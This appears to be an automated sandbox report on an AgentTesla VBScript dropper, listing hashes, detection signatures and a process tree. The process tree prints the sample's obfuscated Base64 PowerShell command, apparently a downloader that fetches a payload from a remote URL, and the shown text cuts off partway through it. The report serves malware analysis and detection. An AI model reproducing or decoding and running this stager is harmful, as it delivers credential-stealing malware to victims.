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Windows
Analysis Report
Reconfirm Details.vbs
Overview
General Information
| Sample name: | Reconfirm Details.vbs |
| Analysis ID: | 1430755 |
| MD5: | 0a5a39c1f5e6f3995906a7a7829b5022 |
| SHA1: | b469f4de7da98dc2e8fdfeb4de8e9e3e62fa28e9 |
| SHA256: | 123a63013a4dcff0add31ab4234ea1894fc33b1797c8c2c58b9ae7b8419094a0 |
| Tags: | vbs |
| Infos: |   |
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Detection
AgentTesla
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and load assembly
Sigma detected: Powershell download payload from hardcoded c2 list
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected AgentTesla
Yara detected Powershell download and execute
Yara detected Telegram RAT
Bypasses PowerShell execution policy
Connects to a pastebin service (likely for C&C)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Silenttrinity Stager Msbuild Activity
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 6728 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Recon firm Detai ls.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 360 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command " $codigo = 'ZgB1DgTre G4DgTreYwB 0DgTreGkDg TrebwBuDgT reCDgTreDg TreRDgTreB vDgTreHcDg TrebgBsDgT reG8DgTreY QBkDgTreEQ DgTreYQB0D gTreGEDgTr eRgByDgTre G8DgTrebQB MDgTreGkDg TrebgBrDgT reHMDgTreI DgTreB7DgT reCDgTreDg TrecDgTreB hDgTreHIDg TreYQBtDgT reCDgTreDg TreKDgTreB bDgTreHMDg TredDgTreB yDgTreGkDg TrebgBnDgT reFsDgTreX QBdDgTreCQ DgTrebDgTr eBpDgTreG4 DgTreawBzD gTreCkDgTr eIDgTreDgT rekDgTreHc DgTreZQBiD gTreEMDgTr ebDgTreBpD gTreGUDgTr ebgB0DgTre CDgTreDgTr ePQDgTregD gTreE4DgTr eZQB3DgTre C0DgTreTwB iDgTreGoDg TreZQBjDgT reHQDgTreI DgTreBTDgT reHkDgTrec wB0DgTreGU DgTrebQDgT reuDgTreE4 DgTreZQB0D gTreC4DgTr eVwBlDgTre GIDgTreQwB sDgTreGkDg TreZQBuDgT reHQDgTreO wDgTregDgT reCQDgTreZ DgTreBvDgT reHcDgTreb gBsDgTreG8 DgTreYQBkD gTreGUDgTr eZDgTreBED gTreGEDgTr edDgTreBhD gTreCDgTre DgTrePQDgT regDgTreED gTreDgTreK DgTreDgTre pDgTreDsDg TreIDgTreD gTrekDgTre HMDgTreaDg TreB1DgTre GYDgTreZgB sDgTreGUDg TreZDgTreB MDgTreGkDg TrebgBrDgT reHMDgTreI DgTreDgTre 9DgTreCDgT reDgTreJDg TreBsDgTre GkDgTrebgB rDgTreHMDg TreIDgTreB 8DgTreCDgT reDgTreRwB lDgTreHQDg TreLQBSDgT reGEDgTreb gBkDgTreG8 DgTrebQDgT regDgTreC0 DgTreQwBvD gTreHUDgTr ebgB0DgTre CDgTreDgTr eJDgTreBsD gTreGkDgTr ebgBrDgTre HMDgTreLgB MDgTreGUDg TrebgBnDgT reHQDgTrea DgTreDgTre 7DgTreCDgT reDgTreZgB vDgTreHIDg TreZQBhDgT reGMDgTrea DgTreDgTre gDgTreCgDg TreJDgTreB sDgTreGkDg TrebgBrDgT reCDgTreDg TreaQBuDgT reCDgTreDg TreJDgTreB zDgTreGgDg TredQBmDgT reGYDgTreb DgTreBlDgT reGQDgTreT DgTreBpDgT reG4DgTrea wBzDgTreCk DgTreIDgTr eB7DgTreCD gTreDgTred DgTreByDgT reHkDgTreI DgTreB7DgT reCDgTreDg TreJDgTreB kDgTreG8Dg TredwBuDgT reGwDgTreb wBhDgTreGQ DgTreZQBkD gTreEQDgTr eYQB0DgTre GEDgTreIDg TreDgTrerD gTreD0DgTr eIDgTreDgT rekDgTreHc DgTreZQBiD gTreEMDgTr ebDgTreBpD gTreGUDgTr ebgB0DgTre C4DgTreRDg TreBvDgTre HcDgTrebgB sDgTreG8Dg TreYQBkDgT reEQDgTreY QB0DgTreGE DgTreKDgTr eDgTrekDgT reGwDgTrea QBuDgTreGs DgTreKQDgT regDgTreH0 DgTreIDgTr eBjDgTreGE DgTredDgTr eBjDgTreGg DgTreIDgTr eB7DgTreCD gTreDgTreY wBvDgTreG4 DgTredDgTr eBpDgTreG4 DgTredQBlD gTreCDgTre DgTrefQDgT regDgTreH0 DgTreOwDgT regDgTreHI DgTreZQB0D gTreHUDgTr ecgBuDgTre CDgTreDgTr eJDgTreBkD gTreG8DgTr edwBuDgTre GwDgTrebwB hDgTreGQDg TreZQBkDgT reEQDgTreY QB0DgTreGE DgTreIDgTr eB9DgTreDs DgTreIDgTr eDgTrekDgT reGwDgTrea QBuDgTreGs DgTrecwDgT regDgTreD0 DgTreIDgTr eBDgTreDgT reCgDgTreJ wBoDgTreHQ DgTredDgTr eBwDgTreHM DgTreOgDgT revDgTreC8 DgTredQBwD gTreGwDgTr ebwBhDgTre GQDgTreZDg TreBlDgTre GkDgTrebQB hDgTreGcDg TreZQBuDgT reHMDgTreL gBjDgTreG8 DgTrebQDgT reuDgTreGI DgTrecgDgT revDgTreGk DgTrebQBhD gTreGcDgTr eZQBzDgTre C8DgTreMDg TreDgTrewD gTreDQDgTr